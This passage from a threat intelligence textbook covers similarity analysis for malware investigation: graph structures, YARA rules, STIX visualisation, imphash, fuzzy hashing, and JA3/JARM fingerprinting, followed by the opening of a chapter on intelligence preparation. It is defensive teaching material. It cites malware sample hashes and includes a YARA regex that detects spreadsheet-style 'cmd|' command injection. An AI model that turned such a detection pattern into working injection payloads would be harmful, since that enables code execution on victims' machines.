			In the preceding diagram, the top graph is represented by an undirected graph that's identifying a relationship between two actors. The middle graph represents one-way communication. In this instance, it is assumed that executing a malware sample has initiated communication with an infrastructure identified by an IP address of 255.161.22.54. Note that communication has only been observed from the file to the IP address, hence the single arrow. Finally, the bottom graph represents bidirectional communication between two IP addresses. This is something that could simply be extrapolated out of a log file, for example.

			Using directed graphs to represent data flow allows us to begin using graphical structures which, depending on the situation, are useful for articulating analytical observations about the threat investigation. Now that we have a better understanding of graphs and the concepts around information flow, let's discuss the different graphical structures and how they can interpret information.

			Graphical structures

			Graphical structures are restricted forms of graphs that represent data in a very specific way. While we will not be presenting a holistic list of graphical structures, we're going to introduce you to several different types and discuss their applicability to cyber threat intelligence. Let's begin by discussing the rooted graph.

			Rooted graphs

			Data representation in a rooted graph begins with identifying one node. This one node will act as the foundation of the graph and is usually represented by the top node. The idea is that the primary node forms roots as new nodes and edges are added to the similarity group. An example of a rooted graph can be seen in the following diagram:

			
				
					[image: Figure 9.5 – Example of a rooted graph]
				

			

			Figure 9.5 – Example of a rooted graph

			While still very simple, more complexity has been added to this rooted graph as we've added edge attributes to articulate the relationship between every node and its parent, up to the root node. Let's walk through the interpretation of this graph.

			Here, we can see that when the malware.exe file is executed, several key things occur. First, the malware.exe file writes the winl0g32.exe file to the C:\WINDOWS\ path in the operating system. Then, it creates a new process by executing that file. Finally, it creates a registry key, which ensures the persistence of the new file based on the registry's location. Next, we can see that the new process, winl0g32.exe, begins to communicate with a domain. This is typically done to either identify a new infection for a command-and-control (C2) server or to retrieve the contents of a secondary payload.

			In this very simple rooted graph example, you can see that the foundation of an event begins with a single node and as more events are tied to the single node, they begin to move downward, essentially building out the roots. In this example, we saw the malware execution process. However, this graph structure can be applied to numerous situations where everything begins with a root node. Now, let's discuss weighted graphs.

			Weighted graphs

			The idea around a weighted graph is that you apply a value to the edge as an attribute. To articulate this, let's reimagine our social network graph from Figure 9.2 as follows:
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			Figure 9.6 – Example of a weighted graph

			The preceding diagram shows the same social network that we had previously mapped but this time, we have represented more data by adding values to the edge and flow. Here, the numerical value is the number of observed conversations we have seen between the actors and which actor initiated the engagement with who, which is represented by our arrows. Finally, we changed the weight of the edge to represent the value to give you insight into what possibilities are out there regarding data representation. The immediate takeaway from this graph is that the sinister6 actor talks a lot to the mrblonde actor. This visual representation of our empirical data provides insight into the situation shown in the graph. At this point, a new data collection may need to focus on what the communication contains or what data is being sent. While this is a great example, most communication is bidirectional, which presents a whole other problem that needs addressing in a weighted graph. The problem that needs to be addressed is that now, an edge has two values – one value for each direction of communication. You can add a total value to the edge or you can represent the edge with two separate arrows, signifying the count of communication in each direction, as shown in the following diagram:
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			Figure 9.7 – Weighted edge example with a bidirectional representation

			In this example, the weight of the edge represents the number of times we have seen two pieces of network infrastructure, represented by their IP addresses, communicating with each other. Depending on your situation, the top example, which shows the number of times communication has occurred, might be completely fine for your needs. However, if you need to break out who initiated the communication and how many times, then the weighted edge represented in the bottom graph may be better as this gives you more insight into how much two nodes communicated and who is initiating communication the most. Again, let's reimagine our social network graph from Figure 9.6 using the same concepts:

			
				
					[image: Figure 9.8 – Social network graph with bidirectional weighted edges
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			Figure 9.8 – Social network graph with bidirectional weighted edges

			As you can see, breaking out the communication flow between the actors, identifying the number of observed interactions, and figuring out who the initiator was has allowed us to see more context around the conversations that are occurring. Our most communicative member of the social network graph is sinister6, while our least communicative member is godSlayer5.

			This analysis of the social network graph is completely fabricated as this is a made-up group. However, analyzing the communication and applying this to an organized criminal group could help us make some assumptions. For example, godSlayer5 could be the boss as they only receive an update once. mrblonde may be the underboss who runs the criminal operation. DeSnake may be the caporegime instructing their soldier who, in this case, would be sinister6, assuming that the instruction is coming from the caporegime and that the soldier is pushing back the outcome of their work to the underboss. That was fun; it was purely speculative and illustrated that the interpretation of the graph is completely up to the situation where we are applying these concepts. Now that you've had some fun with weighted edges, let's discuss bipartite graphs.

			Bipartite graphs

			A bipartite graph, sometimes referred to as a bigraph, is a graph whose nodes can be separated into two independent sets. A practical application of a bigraph could be mapping out a malware payload's communication with a C2 infrastructure, where one set of nodes is the observed variants of malware and the other is the infrastructure that the variants are communicating with. This can help you identify where new variants of malware utilize the existing infrastructure, as shown in the following diagram:
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			Figure 9.9 – Example of a bigraph

			While these IP addresses are randomized and we don't know whether they're associated with these ransomware families, this allows us to illustrate the point of a bigraph and their effectiveness when they're utilized for this practical application. In the preceding diagram, we can see several samples of the Arcane ransomware family utilizing several IP addresses for their ransomware operations. Then, we can see several variants of the Sabbath ransomware family utilizing the same C2 infrastructure. This is not uncommon to see, and the bigraph helps us identify when malware variants such as ransomware families begin to rebrand their identities or reutilize the same infrastructure. We have seen several instances where political or law enforcement pressure against a ransomware family causes them to go dark. Here, we may see a new family launch a ransomware leak site with almost the same branding and utilizing the same infrastructure. This happened between October and November 2021 when Arcane rebranded as Sabbath. 

			Keep in mind that bigraphs are not limited to using hash and IP addresses as data values. The nodes of the bigraph can represent any data and its relationship between two distinct data types. As I mentioned previously, these are just a few common examples of graphical structures and they don't provide a holistic view of all graph types. We'd have to steal even more from the mathematics department if we wanted to dive deeper! Now, let's discuss some tools that you can use with your similarity groups.

			Similarity analysis tools

			Now that we have examined similarity grouping from a top-level standpoint, let's examine the different toolsets that can be used to perform similarity grouping practically. First, let's examine the ever-popular tool known as YARA.

			YARA

			When analyzing malware, researchers will often identify unique patterns and strings within the malware that helps them identify and group by the malware family, threat group, or campaign that those samples belong to or relate to. The researcher will commonly create a YARA rule from several samples of the same malware family to help identify additional malware samples associated with the same campaign, actor group, or malware family. 

			YARA has several use cases, but we'll focus on the three primary use cases for any threat intelligence professional:

			
					Identify and classify malware

					Find new and related samples based on family-specific patterns

					Identify malware samples on compromised devices via tools such as ClamAV

			

			YARA was originally developed by Victor Alvarez from VirusTotal. It is a widely adopted rule type that was developed with the idea to identify and find textual or binary patterns to identify specific families of malware. A YARA rule is constructed based on three main components – metadata, strings, and conditions.
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			Figure 9.10 – YARA rule example 

			YARA rules consist of sets of strings and a Boolean expression that helps determine logic and patterns. If some or all of the conditions are met from the strings section, then the rule could accurately be used to identify or group a piece of malware.

			YARA is supported across many platforms – between Windows, macOS X, and Linux, YARA can be used in many ways, such as via the command line or from the Python yara-python library. Being a very versatile and widely adopted technology, YARA rules are widely traded, given, and distributed across the information security industry. 

			Every YARA rule must start with a rule name. Rules are roughly organized by rule name, metadata information, strings, and conditions. Let's examine each in more detail.

			Meta

			The meta field of a YARA rule is multipurpose and used to capture the relevant details about the rule, such as the author, the date of the rule, example hashes to reference, the source of information, TLP, and more. As shown in the following screenshot provided by the US Cybersecurity and Infrastructure Security Agency, the meta field is often used to convey contextual information about the rule itself:
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			Figure 9.11 – US CISA YARA rule meta example

			The meta portions of a YARA rule must be identified with an equals sign and can support strings, integers, or Boolean values. It's commonly recommended that, at a minimum, the following fields should be included if you wish to accurately track and attribute the rule author:

			
					Author: This helps specify the contact, should a question about the rule arise.

					Date: The date of rule development.

					Description: A description of the rule and what is being searched for.

					Hashes: Example hashes that the rule has been tested against.

					Campaign: Campaigns that help identify any specific threat campaign correlators.

					Actor: This field helps identify specific actor correlations to the threat actor's origin.

					Family: This field helps identify the malware family that the rule applies to.

					Reference: This will enable any external or relevant references for the rule or samples in question.

			

			It's important to standardize what meta fields should be required for every rule since consistency is key.

			Now that we've examined meta in some detail, let's examine strings.

			Strings

			The strings portion of a YARA rule gives meaning to the condition portion of the rule. As an example, when an analyst or researcher identifies the strings in a malware sample, this is usually a great indicator that you can write a YARA rule. To define a string in a YARA rule, the string needs to be declared as a variable, as shown in the following code:

			strings:

			    $str1="string from within malware"

			YARA rules support three types of strings – hexadecimal strings, regular expression strings, and text strings. Fortunately, YARA can search for hexadecimal strings. Hex strings are a great way for a malware analyst to detect patterns in code through analysis.

			The following is an example of what a hex string looks like within a YARA rule:

			strings:

			    $hex_string = { E2 34 ?? C8 A? FB }

			Now that we've seen that searching for hex strings with YARA is a powerful feature, let's examine text strings.

			Text strings are some of the simplest use cases when it comes to using YARA rules. As we mentioned previously, it's common for researchers and analysts to find interesting strings within a malware sample. These strings are perfect candidates for building out a YARA rule. To define a string within a YARA rule, the string needs to be declared as a variable:

			strings:

			   $text_string = "haxxor"

			Finally, using regular expressions is one of the most powerful features of YARA. Regular expressions are defined in the same way as text strings, but they are enclosed in forward slashes versus double-quotes. Regular expressions often include nocase, ASCII, fullword, and wide modifiers.
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			An example of a regular expression in a YARA rule is as follows:

			Strings:

			      $a = /=\s*cmd\|/ no case

			Now that we've examined strings in YARA rules in more detail, let's look at the final part of a YARA rule – conditions.

			Conditions

			As we mentioned earlier, the strings section of a YARA rule defines the criteria to search for with the YARA rule. The condition section defines the criteria for the rule to trigger a successful YARA rule match. Multiple conditions exist, some of which are outlined in the following table:
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			Within these conditions, the rule author can also specify file size constraints for the rule to abide by. There are several ways to specify such constraints, as follows:

			
					(filesize > 200)

					(filesize < 7000000)

					(filesize < 7MB)

			

			Once the strings and meta have been declared within a rule, the analyst or researcher can customize how many matches need to be triggered when the rule returns a successful condition. Some examples are as follows:

			
					2 of ($b,$d)

					3 of them

					All of them

					5 of ($b*)

					Any of them

					$b and not $c

			

			Where possible, the analyst or researcher should try and use two to three groups of conditions to avoid generating false positive matches. Now that we've examined YARA rules in more detail, to understand some of its functionality, let's examine the power of YARA using Hybrid Analysis. 

			As we've mentioned throughout this book, Hybrid Analysis is an online sandbox environment that provides several pieces of advanced functionality. Let's look at the YARA Search portal on their website:
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			Figure 9.12 – The YARA Search portal of Hybrid Analysis 

			For this example, let's act as though we're an SOC analyst who has found a YARA rule on the US CISA website about ransomware attackers targeting healthcare industries around the US (https://www.cisa.gov/uscert/ncas/alerts/aa20-302a). The analyst wants to run the YARA rule against the Hybrid Analysis dataset to identify all the possible samples the analyst could proactively search for across their environment. This cluster of samples is similarly grouped based on their shared characteristics. 

			In this case, the analyst saves one rule in particular, which focuses on identifying AnchorDNS samples based on strings contained with the ransomware family. First, the analyst pulls the rule down into a file – in this case, AnchorDNS.yar.
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			Figure 9.13 – The YARA rule from the CISA website

			Examining this rule more closely, the analyst notices a few distinct things. First, the rule is looking for text strings specifically contained in the malware samples the analyst is hunting for. Additionally, the analyst notices that three conditions should be matched in the YARA rule for the rule to be matched. The analyst decides to upload the YARA rule to Hybrid Analysis for further cluster identification.
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			Figure 9.14 – The YARA rule being used in Hybrid Analysis

			Hybrid Analysis has a litany of great features outside of the logic contained within the YARA rule. For example, the analyst could specify the first seen dates to truly examine the time frames of activity regarding the samples. Additionally, the analyst could specify the maximum and minimum file sizes to constrain their searches.

			Finally, the analyst will hit the Hunt Samples button on the Hybrid Analysis website, which will search their datasets for any hits on the logic contained within the YARA rule.
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			Figure 9.15 – The YARA rule's search sample matches

			As we can see, a total of 13 files have been identified as matching the YARA rule logic. When the analyst performs a quick triage of the files on VirusTotal, they can see that, according to what Microsoft has detected, many of the 13 files immediately create a cluster of nine specific detections of Trojan:Win32/AnchorLoader.A!ibt or Trojan:Win64/AnchorBot.G!MSR, indicating, at a glance, that this cluster can be more proactively actioned upon, as shown in the following table:
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			Now that we've examined YARA in detail, let's look at some graphical tools. 

			Graphing with STIX

			In Chapter 4, Threat Intelligence Frameworks, Standards, Models, and Platforms, we introduced you to the Structured Threat Information Expression (STIX), a language and serialization format that can be used to express a cyber threat event. As we introduced in that chapter, STIX contains 18 domain objects known as STIX domain objects, or SDOs. These SDOs categorize information into types with attributes. Furthermore, STIX can chain together objects to identify a relationship with STIX relationship objects, or SROs. In the spirit of our similarity groups, the SDOs are our nodes and the SROs are our edges. Creating our graph with SDOs and SROs allows us to represent a cyber threat event as a graph and allows us to create easy or complex representations of the event.

			The overall STIX bundle that contains the node-edge graph representation of the cyber threat event is stored in a data interchange format called JavaScript Object Notation (JSON). JSON is derived from the JavaScript programming language and a JSON blob can be interpreted and written to/from almost all of the most used programming languages. More information about JSON can be found at https://www.json.org/.

			Numerous examples of how to represent cyber threat events in STIX can be found at https://oasis-open.github.io/cti-documentation/stix/examples. If you click on any of the examples provided, you can see visualizations, as well as the JSON representations, of the event. In addition to the examples that help you understand how to represent STIX in JSON, several real-world examples are provided to help you understand the modeling language.

			These examples include the following:

			
					Mandiant's APT1 Report:	Report: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
	JSON Representation: https://oasis-open.github.io/cti-documentation/examples/example_json/apt1.json



					FireEye's Poison Ivy Report:	Report: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
	JSON Representation: https://oasis-open.github.io/cti-documentation/examples/example_json/poisonivy.json



					Core Security's Chinese IMDDOS Botnet Report:	Report: https://www.coresecurity.com/system/files/publications/2017/03/Damballa_Report_IMDDOS.pdf
	JSON Representation: https://gist.githubusercontent.com/rjsmitre/79775df68b0d1c7c0985b4fe7f115586/raw/d5d2a3e7b4ae52ff7153a8b7b5b57dd066611803/imddos.json



			

			The reason why we brought this up is that any STIX bundle that you create that represents a cyber threat event can be automatically visualized using the OASIS Cyber Threat Intelligence Technical Committee's STIX Visualization tool, which can be found at https://oasis-open.github.io/cti-stix-visualization/. In the following diagram, we have taken the IMDDOS Botnet Report and loaded the JSON representation to represent the visualization of the botnet in the report.
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			Figure 9.16 – STIX representation of the IMDDOS botnet graph

			As you can see, the SDOs are the nodes in the graph and each of these nodes has a type or value that represents a specific object type that can be represented by STIX. Furthermore, the SROs are the edges and contain the relationship values between the different nodes of the graph.

			The STIX data modeling standard is very versatile and the threat representation within a bundle is only limited by what you can represent within the defined schema. Because of the extensive capability of STIX data modeling, it has been adopted by numerous threat intelligence platforms that we have previously talked about, including OpenCTI. Now that you know that OpenCTI builds off the STIX data model, let's learn how to use OpenCTI to create graphs.

			Hashing and fingerprinting tools

			We wanted to wrap up the last section of this chapter by talking about hashing and fingerprinting tools that are widely used for similarity analysis. The core difference between using the grouping techniques we talked about earlier in this chapter and those in this section is that hashing and fingerprinting tools are typically executed on files or unique artifacts. These are then used to determine the similarity between the files or data that's being analyzed. The methods we have talked about so far have all pivoted off artifacts and indicators of malware and infrastructure. Let's discuss the first tool concept – import hashing. 

			Import hashing

			Import hashing (imphashing) is a technique in which hash values are created and calculated based on the library or imported function names and their order within the executable. Simply put, imphashing is where you compute a hash of the Import Address Table (IAT). We first introduced you to the concept of importing functions from an operating system in Chapter 7, Technical Threat Analysis – Enrichment.

			Important Note

			The IAT is a structure that exists within a Window's portable executable file that identifies operating system libraries that the specific executable is importing functionality from in the operating system. These library files are usually Microsoft Windows Dynamic Linked Library (DLL) files. Additionally, the IAT identifies functions that are utilized by the executable for every library file it is importing functionality from.

			If two different files were compiled from the same source and manner, their imphash values would tend to be the same. This can provide a valuable pivoting and similarity grouping method that is supported by many different online services and sandboxes. 

			Because of the way a portable executable's import table is generated, malware analysts and threat hunters typically use an imphash to identify related malware samples. In the following screenshot, you can see that many online tools, such as VirusTotal, utilize import hashing as a vehicle to identify similar files:
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			Figure 9.17 – Example imphash for a malware sample in VirusTotal

			Imphashing functionality is natively supported in several intelligence collection and enrichment tools, such as YARA. Conveniently, YARA has a function for calculating imphash in the pe module: 

			pe.imphash() == <imphash value>

			Now that we've looked at import hashing at a high level, let's look at an example of rudimentary pivoting and grouping on an imphash for further intelligence generation. In this example, we will be acting as a threat researcher investigating a Trickbot malware campaign that's being leveraged by a threat actor. The file, caf56d168c770350da83ad489809007df7813c3bef213c35f1c6e1f4 bf3142de, can be looked up with the free sandbox environment, Malware Bazaar.
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			Figure 9.18 – Trickbot sample on Malware Bazaar

			The researcher will quickly see that an imphash value has been calculated for the malware file – that is, 1e14b9e859467fd4c1b3bb619c1a4550. Fortunately for the researcher, they can click the imphash value in Malware Bazaar, which will then cluster other samples on that imphash, identifying additional files that appear to be in the same family, clustered and sharing the same imphash.
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			Figure 9.19 – Trickbot imphash pivot in Malware Bazaar

			Now that the researcher has grouped these three Trickbot samples into a logical cluster of related activity, the researcher could focus on pivoting and hunting off those three files, looking at their related C2 infrastructure, as an example. Utilizing imphash with open source tools, as we've illustrated here, is completely fine. However, if you want to generate an imphash, then there are numerous libraries available for the most common programming languages that can calculate the imphash of a file directly for you and even provide functionality for your cluster off of the imphash artifact. If you want to explore imphash further, then we suggest reading the article Tracking Malware with Import Hashing, written by Mandiant. It can be found at https://www.mandiant.com/resources/tracking-malware-import-hashing. Now that you have a better understanding of how algorithmically generated artifacts can be generated and used to enable you to determine the likenesses of differing files, let's look at other hashing methods. 

			Fuzzy and other hashing methods to enable similarity analysis

			To reduce the amount of overhead that's associated with analyzing malware and its infrastructure, researchers often rely on similarity hashing functions, which create short depictions of files that often perform a comparison to produce a score related to the similarity of the files. Unlike cryptographic hashes, fuzzy hashing's main goal, for the analyst or researcher, is to provide a comparison or way to measure similarity in malware files. Many fuzzy hashing methods are available, but for the sake of brevity and practical functionality and use, we're going to focus on two of the most popular – SSDEEP and Trend Micro Locality Sensitive Hash (TLSH). Additionally, we'll be examining other hashing methods that can be invaluable for clustering and grouping malware samples – dHash. 

			With that, let's get started.

			SSDEEP

			SSDEEP is a versatile and highly trusted fuzzy hashing tool written by Jesse Kornblum. SSDEEP creates a hash value based on the binary level that detects the level of similarity between several files. From an analyst's or researcher's perspective, SSDEEP allows you to identify similar malware files that may be part of the same family or built in the same way, for example. Running SSDEEP locally is a breeze – simply download the source from GitHub at https://ssdeep-project.github.io/ssdeep/index.html. 

			The nice thing about many of the malware sandboxes that are available online is that most perform fuzzy hashing with SSDEEP to make hashing and pivoting easy and painless. As an example, let's look at using SSDEEP to pivot off similarity to enable blocking and alerting.

			First, let's act as though we're an SOC analyst who has identified a malicious file (e34293a710d13999dd019e3f19a84eb67a8a4adf14a1e3ddbf7f5cb 8877a7d7d) propagating across the network. We want to determine what the SSDEEP hash is of the file, so we will leverage the SSDEEP project page under the Demo page, as shown in the following screenshot. This page can be found at https://ssdeep-project.github.io/ssdeep/demo.html.
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			Figure 9.20 – The SSDEEP project page

			We must submit the file to the SSDEEP demo site, which will generate an SSDEEP hash of 12288:Bz4ubZCXMtdUKat+YH7/yJ2je3rojGvB/WaEYvWN:pjOMtd1a/yl3KOjU. After that, we must cluster similar files, grouping new files to pass to the threat hunting or intelligence teams. By doing that, we can easily go to Hybrid Analysis and perform an ssdeep search, like so:

			ssdeep:"<SSDEEP HASH>"

			This will result in the following output:
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			Figure 9.21 – Hybrid Analysis SSDEEP search functionality

			This additional pivot of using the SSDEEP hash has yielded a larger cluster of threat activity that is likely related. With these results, we could proactively alert, monitor, or block the two additional hashes that have been unearthed as part of the SSDEEP pivot. 

			While this is a good option for clustering malware samples and families, there is another option for clustering based on fuzzy hashing: TLSH.

			Trend Micro Locality Sensitive Hash (TLSH)

			Trend Micro Locality Sensitive Hash (TLSH) is a fuzzy hashing library that was first developed by Trend Micro. As stated on the TLSH GitHub page, TLSH generates a hash value that can be used for similarity clustering and identification. Adopted by sandboxes, STIX, Malware Information Sharing Platform (MISP), and more, TLSH is considered an additional fuzzy hashing method that can help you easily and quickly identify clusters of similar malicious files. Similar files that have been identified via TLSH have similar hash values, making similarity detection quick and easy. 

			Let's examine TLSH closer with an example. In this example, we will act as though we are a threat hunter who has been passed a malicious file hash, 52fce8f05b7bcad 7c37912d8408be264e25301464474c4968036f18cb6b80650, that the SOC has identified on an endpoint on the organization's network. Examining the file more closely, we will notice that the file is tagged as Trickbot on the popular Malware Bazaar sandbox (https://bazaar.abuse.ch/sample/52fce8f05b7bcad7c37912d8408 be264e25301464474c4968036f18cb6b80650/):
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			Figure 9.22 – Malware Bazaar and TLSH

			Looking closer on Malware Bazaar, we will quickly see a TLSH value of 4FB44AC6A 19643BBEE8766FF358AC55DBC13D91C1B4DB4FBC789AA020A31B05ED12350. We decide to pivot on the TLSH hash to identify other files that could be related, to help us proactively monitor their presence across the organization. Using the Hybrid Analysis API is straightforward and can provide a wonderful platform for us to easily and freely pivot on a TLSH hash. At this point, we decide to run a simple command-line command on our machine of choice – in this case, macOS X:

			Wget –post-data "query=get_tlsh&tlsh=4FB44AC6A19643BBEE8766F F358AC55DBC13D91C1B4DB4FBC789AA020A31B05ED12350&limit=50" https://mb-api.abuse.ch/api/v1/

			The results of this quick search have yielded an additional eight malware files in a cluster that we could proactively hunt and monitor. While not necessarily all-encompassing, this method can provide us with an effective, tactical method for alerting and monitoring threat activity.
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			Figure 9.23 – Results of the TLSH hash search

			As you can see, TLSH, when combined with a free service such as Hybrid Analysis, can provide a valuable clustering source, effectively enabling tactical and strategic intelligence. 

			Now that we've looked closer at TLSH hashing, let's briefly examine another method we can use to cluster threat actor activity: dHash. 

			dHash

			Widely adopted by services such as Malware Bazaar and VirusTotal, dHash is a Python library that's used to generate a different hash of different image files. dHash doesn't require an exact match to find similar images, making its use in grouping and identifying related malware families quite useful. Based on Neal Krawetz's dHash algorithm, dHashing is a valuable clustering method to employ when you're calculating the dHash of the main icon from an executable file, for example.

			Let's examine the usefulness of dHashing by looking at a simple and practical example. In this case, let's act as though we are forensic analysts that have identified a keylogger on an infected host. The file, 193ac87ce3fbdcbc7def7776cac94b2548c0e abcfa179f701b96f65d9cfe7631, based on Malware Bazaar tags, appears to possibly be Snake Keylogger. Quickly inspecting Malware Bazaar also reveals a useful pivot and clustering opportunity – the 24b2d2d2d2d3d2ea dHash value.
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			Figure 9.24 – dHash identified in the SnakeKeylogger malware sample

			Luckily, Malware Bazaar can easily cluster and pivot based on the dHash value in their web user interface. We must quickly pivot, at which point we will realize that there is a logical cluster of two additional Snake Keylogger samples, which will help us identify possible tangentially related indicators to look for.
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			Figure 9.25 – dHash pivot for identifying a cluster of related SnakeKeylogger samples

			Apart from online sandboxes and services such as Hybrid Analysis, Malware Bazaar, and VirusTotal, some free scripts and tools make use of dHashing more practical. For example, there's a great script written by Thomas Roccia called DhashIcon.py (https://gist.github.com/fr0gger/1263395ebdaf53e67f42c201635f256c), which is a tool that's used to generate the dHash of an icon from a sample. The script takes your sample as a parameter and extracts the first icon from the file, thus generating a dHash based on the icon.

			Now that we've looked closer at dHashing, let's briefly examine another way to cluster threat actor activity via fingerprinting tools. 

			Useful fingerprinting tools

			Similar to hashing functions, methods, and algorithms, there are several fingerprinting tools and methods that analysts and researchers can leverage to perform similarity analysis. There are many fingerprinting tools and methods available across the information security industry, but to keep this section concise, we will be examining JA3 and JARM more closely and look at their potential in clustering threat actor infrastructure and samples.

			JA3/JA3S

			A JA3 hash represents the fingerprint of an SSL/TLS client application that's been detected via a network sensor, rule, or device, such as Bro or Suricata. First developed by Salesforce in 2017, JA3 is a very useful and widely adopted method for grouping threat activity via similarities via the JA3 hash. 

			JA3 works by fingerprinting an SSL/TLS client connection based on fields in the Client Hello message from the SSL/TLS handshake. Because the handshake is sent in clear text, analysts can use it to fingerprint client applications using information contained within the Client Hello message. For in-depth analysis and information regarding JA3, go to https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41. JA3 searches are supported in numerous sandbox solutions, as shown in the following screenshot:
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			Figure 9.26 – JA3 fingerprints used within Joe Sandbox

			JA3 allows you to easily and effectively detect client applications, such as a Trickbot malware family cluster with a JA3 of 8916410db85077a5460817142dcbc8de or a Tofsee malware family cluster with a JA3 of bffa4501966196d3d6e90cee1f88fc89. Several online tools and sandboxes support JA3 hashing and pivoting on JA3, but to access the advanced JA3 searching functionalities, many services require paid registration, such as VirusTotal Enterprise. 

			Now, let's learn how to cluster malware samples based on a JA3 hash using freely available tools.

			In this example, we'll be examining a file that has made its way to a threat researcher who wants to cluster and pivot on a malicious file – that is, de21e13335eba24f283c605689fed08107718b 54651379ef134ff78a59e1c3de. When the researcher visits VirusTotal, under the Behavior tab of VirusTotal Jujubox, they find the JA3 digest.
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			Figure 9.27 – JA3 fingerprint identified on VirusTotal

			Taking that JA3 to a popular JA3 search tool such as https://ja3er.com/, the researcher quickly identifies that abuse.ch has the JA3 correlated with a malware family – Tofsee.
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			Figure 9.28 – JA3 correlated to Tofsee on ja3er.com

			Wanting to examine that cluster of Tofsee samples more closely, the analyst visits abuse.ch to search for the JA3 in their JA3 database. The researcher quickly sees that this JA3 is involved with a known cluster of 46 Tofsee malware samples. This cluster, which has been around 2 years, also contains 77 destination IPs.
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			Figure 9.29 – JA3 found on abuse.ch

			Scrolling further down, the researcher finds the actual clustered malware that could be researched, alerted on, or hunted for.
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			Figure 9.30 – Samples in the Tofsee cluster

			Now that we've looked at JA3 and understood its potential intelligence value, let's examine JARM.

			JARM

			JARM is an active TLS server fingerprinting tool that works by sending TLS Client Hello packets that have been specifically crafted to identify unique responses from the target server. These responses are then hashed, and the result is the JARM fingerprint. A more in-depth summary of how JARM works can be found at https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a. The motivation for using JARM to fingerprint TLS servers is to identify traffic that has high levels of uniqueness in your network traffic. By doing this, you can determine what the network location is and even create blocklists to prevent further traffic from flowing to that location.

			We've mentioned the term command-and-control, or C2, numerous times throughout the book. C2 is an infrastructure that threat actors utilize to fulfill their attack life cycle. The following table shows several examples of what JARM hashes look like once they have been compiled for several tools or malware family C2s:
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			JARM allows you to fingerprint identified C2s so that you can utilize the signature and your historical threat intelligence to create high-fidelity blocklists. JARM has been open sourced and is available at https://github.com/salesforce/jarm. Its Python implementation is the easiest way to get JARM up and running to fingerprint C2 servers and create fingerprints. Once downloaded, just run the JARM Python file by utilizing the following command-line options:

			python3 jarm.py [-h] [-i INPUT] [-p PORT] [-v] [-V] [-o OUTPUT] [-j] [-P PROXY] [domain/IP]

			The result of the domain or IP address lookup will yield a JARM signature that you can add to your intelligence repository. 

			Summary

			In this chapter, we introduced you to the concept of similarity analysis to help you with your pivoting and hunting journey. Specifically, we talked about the motivations for doing similarity analysis, introduced you to similarity groups, and then tried to introduce you to some discrete mathematics concepts but tried to go light on the math! After that, we identified several grouping tools that could be used to build your graphs before introducing you to hashing and fingerprinting tools. These tools can run algorithmic hash functions against a file-based payload or a network infrastructure to allow you to identify similarities between files or the uniqueness of an infrastructure target.

			In the next chapter, we're going to move on to another phase of the intelligence cycle and focus on how to prepare, evaluate, and disseminate threat intelligence information.

		

	
		
			Section 3: What to Do with Threat Intelligence

			Section 3 continues exploring the core concept of Section 2: how to collect threat intelligence. In Section 3, we'll examine how threat intelligence can be used, productionized, or further leveraged throughout organizations of any type. This section focuses on what to do with technical threat intelligence after it's been collected and enriched, in addition to identifying areas where threat intelligence can be beneficial to an organization.

			This part of the book comprises the following chapters:

			
					Chapter 10, Preparation and Dissemination

					Chapter 11, Fusion into Other Enterprise Operations

					Chapter 12, Overview of Datasets and Their Practical Application

					Chapter 13, Conclusion

			

		

	
		
			Chapter 10: Preparation and Dissemination

			As we begin this chapter, we move into a new section of the book where we begin discussing how to review, analyze, and evaluate the empirical data that has been collected during our intelligence collection operations and prepare it for dissemination. While the identification of intelligence needs, the collection of data, hunting, pivoting, and the enrichment of that data might be considered the more exciting parts of the intelligence process, an organization will eventually need to produce some form of threat intelligence that can be consumed as well as develop processes to distribute this information. This is the production and dissemination phase of the intelligence life cycle that we introduced in Chapter 1, Why You Need a Threat Intelligence Program.

			In this chapter, we will focus on how to interpret the collected data, evaluate it for intelligence, and identify what portions of it should be considered as timely, accurate, and relevant threat intelligence. In addition, we will focus on reviewing the collected empirical data and utilizing structured analytic techniques that will assist you in defining analytic judgments around the motivation and intention of threat actors.

			Additionally, we will focus on how metadata tagging within a threat intelligence platform can assist an organization in searching for threat intelligence data, hunting, and pivoting operations, along with how it can even assist with similarity analysis during the enrichment process. Further, we will discuss how tagging can assist in developing a corpus of long-term threat intelligence, which will be helpful in the creation of an organization's ground truth of what they know about threats. Finally, we'll identify how threat intelligence can assist with offering mitigation options for any organization to assist in improving the security posture. 

			Specifically, in this chapter, we will be covering the following topics:

			
					Data interpretation and alignment

					Data versus information versus intelligence

					Critical thinking and reasoning in Cyber Threat Intelligence (CTI)

					Metadata tagging in threat intelligence

					Thoughts before dissemination

			

			Data interpretation and alignment

			The preparation phase of the intelligence life cycle begins with reviewing the data that has been produced by aligning it back to the initial intelligence requirement that was created to address a critical gap in your organization. Often, this process is referred to as data interpretation and alignment; it is at this point where the data that we have is reviewed to ensure that it is appropriately aligned to the original knowledge gap. If we begin with the initial question that sparked the collection operation followed by technical analysis, we can review the produced empirical data to see whether we can make a conclusion about the collected data, which can assist us in the formation of a hypothesis.

			If you refer back to Chapter 3, Guidelines and Policies, we first introduced you to the concept of creating intelligence requirements to address the knowledge gaps that your organization might have. We even provided some examples so that you gained a better understanding. In the example from that chapter, we focused on ransomware. For your recollection, the intelligence requirement was ransomware distribution, installation, and hosting infrastructures. We further defined the intelligence requirement by considering the following questions:

			
					What methods are threat actors using to distribute and install ransomware? If possible, regional breakdowns are helpful. 

					What are the new or changing methods of ransomware distribution (including those methods that are becoming less popular)? 

					Who are the threat actors or groups running malware distribution/installation services or affiliation services (including attribution where possible)? 

					What scale do individual services operate on (that is, the number of victims, the number of known shaming sites, and the level of distribution capability)? 

					How capable/successful are the various distribution methods?

			

			The reason we bring this up is that you might want to ensure that the data collected during the collection operation or produced during the technical analysis phases of the intelligence life cycle is filling this knowledge gap. Think about the data that has been produced not only in the technical analysis phase but also in any hunting and pivoting operations that you performed to grow your data, along with the information you mapped out in your similarity graphs.

			For the ransomware intelligence requirement that we've highlighted, ensure that the data collected is answering the questions you laid out in the preceding description. Review the data at your disposal and see whether it answers one or more questions that you included as part of your description in the intelligence requirement. If the data that you collected is answering at least one of these questions, you have collected data in alignment with the intelligence requirement. This is the goal you have been trying to achieve. Now that we understand we have appropriate data alignment, let's move on to discuss the primary differences between data, information, and intelligence.

			Data versus information versus intelligence

